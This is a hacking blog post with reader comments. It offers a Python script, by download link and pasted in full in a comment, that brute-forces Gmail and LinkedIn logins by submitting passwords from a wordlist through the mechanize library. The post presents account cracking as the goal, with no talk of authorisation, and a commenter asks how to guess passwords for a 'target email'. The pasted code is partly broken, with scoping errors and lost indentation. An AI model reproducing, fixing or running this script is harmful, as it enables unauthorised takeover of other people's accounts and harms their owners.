Crack Gmail and LinkedIn Account Using Brute Force Attack With Simple Python Script


Hello Friends, I have written a simple python script with which you can crack Gmail or LinkedIn account by simpling performing Brute Force Attack

In cryptography, a brute-force attack consists of an attacker trying many passwords or passphrases with the hope of eventually guessing correctly. The attacker systematically checks all possible passwords and passphrases until the correct one is found. Alternatively, the attacker can attempt to guess the key which is typically created from the password using a key derivation function. This is known as an exhaustive key search.
When password guessing, this method is very fast when used to check all short passwords, but for longer passwords other methods such as the dictionary attack are used because a brute-force search takes too long. Longer passwords, passphrases and keys have more possible values, making them exponentially more difficult to crack than shorter ones.
Software that performs brute-force attacks
Aircrack-ng
Cain and Abel
Crack
DaveGrohl
Hash Code cracker
Hashcat
John the Ripper
L0phtCrack
Ophcrack
RainbowCrack

Download the Python script from https://drive.google.com/open?id=0B5bYYqO83shqQVRNLWFpaEZBQUk

How to Test this script:
1. Download the Script from above link.
2. Run the script an give it
    path to the password list
    Username

3. Wait till it performs the attack an gives you the password.

I have tried it and It worked well on my machine. If there is some problem then let me know.

Comments

  1. really troublesum on a mac, i think i may have some settings wrong

    ReplyDelete
  2. Hi Dear
    How can i make a password file. I mean how would i assume password for the target email. Can you suggest me. Please
    Thanks

    ReplyDelete
  3. This Code is now fixed- no more Print problems



    import mechanize
    import sys

    def get_file_path():
    password_file = raw_input("Enter path to password file: ")
    try:
    list = open(password_file, 'r')
    password = list.readlines()
    count = len(password)
    print ("Possible Passwords to be checked is %d\n") %count
    return password, count
    except IOError:
    print ("Please Check Password List Path.")
    exit()

    def notfound():
    print ("\n\nPassword Not Found because Password list has Ended\nPlease give a more Stronger Password list.")
    exit()
    def found(passwd):
    print ("\n\nPassword Found: '%s'" %passwd)
    exit()

    def google():
    print ("\nPerforming Attack on Gmail")
    username = raw_input("Enter Username:")
    br.open(link)
    i = 0
    while i < len(password):
    password[i] = password[i].strip()
    try:
    sys.stdout.write("\rTrying Password: %s" %password[i])
    sys.stdout.flush()
    br.select_form(nr = 0)
    br.form['Email'] = username
    br.form['Passwd'] = password[i]
    br.submit()
    url = br.geturl()
    if url != link:
    found(password[i])
    if i == count - 1:
    notfound()
    except KeyboardInterrupt:
    print ("\nExiting")
    exit()
    i += 1

    def linkedin():
    print ("\nPerforming Attack on LinkedIn")
    username = raw_input("Enter Username:")
    i = 0
    while i < len(password):
    try:
    br.open(link)
    password[i] = password[i].strip()
    sys.stdout.write("\rTrying Password: %s" %password[i])
    sys.stdout.flush()
    br.select_form(nr = 0)
    br.form['session_key'] = username
    br.form['session_password'] = password[i]
    br.submit()
    url = br.geturl()
    if url != 'https://www.linkedin.com/uas/login-submit':
    found(password[i])
    if i == count - 1:
    notfound()
    except KeyboardInterrupt:
    print ("\nExiting")
    exit()
    i += 1

    def start():
    global password
    count = 0

    print ("#######################################################")
    print ("# #")
    print ('# This Code Works Only For Gmail and Linked #')
    print ("# #")
    print ("#######################################################\n")

    password, count = get_file_path()
    website = raw_input("Enter 1 for Google and 2 for Linkedin: ")

    br = mechanize.Browser()
    br.set_handle_robots(False)

    if website == '1':
    link = 'https://accounts.google.com/ServiceLoginAuth'
    google()
    elif website == '2':
    link = 'https://linkedin.com'
    linkedin()
    else:
    print ("Enter Correct Choice.")

    if __name__ == '__main__':
    start()
    else:
    print ("There is Some Error Please Resolve It.")

    ReplyDelete

Post a Comment

Popular posts from this blog

"Remotely Bypass" Pattern Lock Of Android Device By Google

WinHex...Data Recovery and Forensics Tool

Learn How To Decompile an APK File And Add Some Of Our Own Code To That APK. A Demo Of Decompiling Twitter APK To Get Twitter Username & Passwoed

Complete guide to learn Ethical Hacking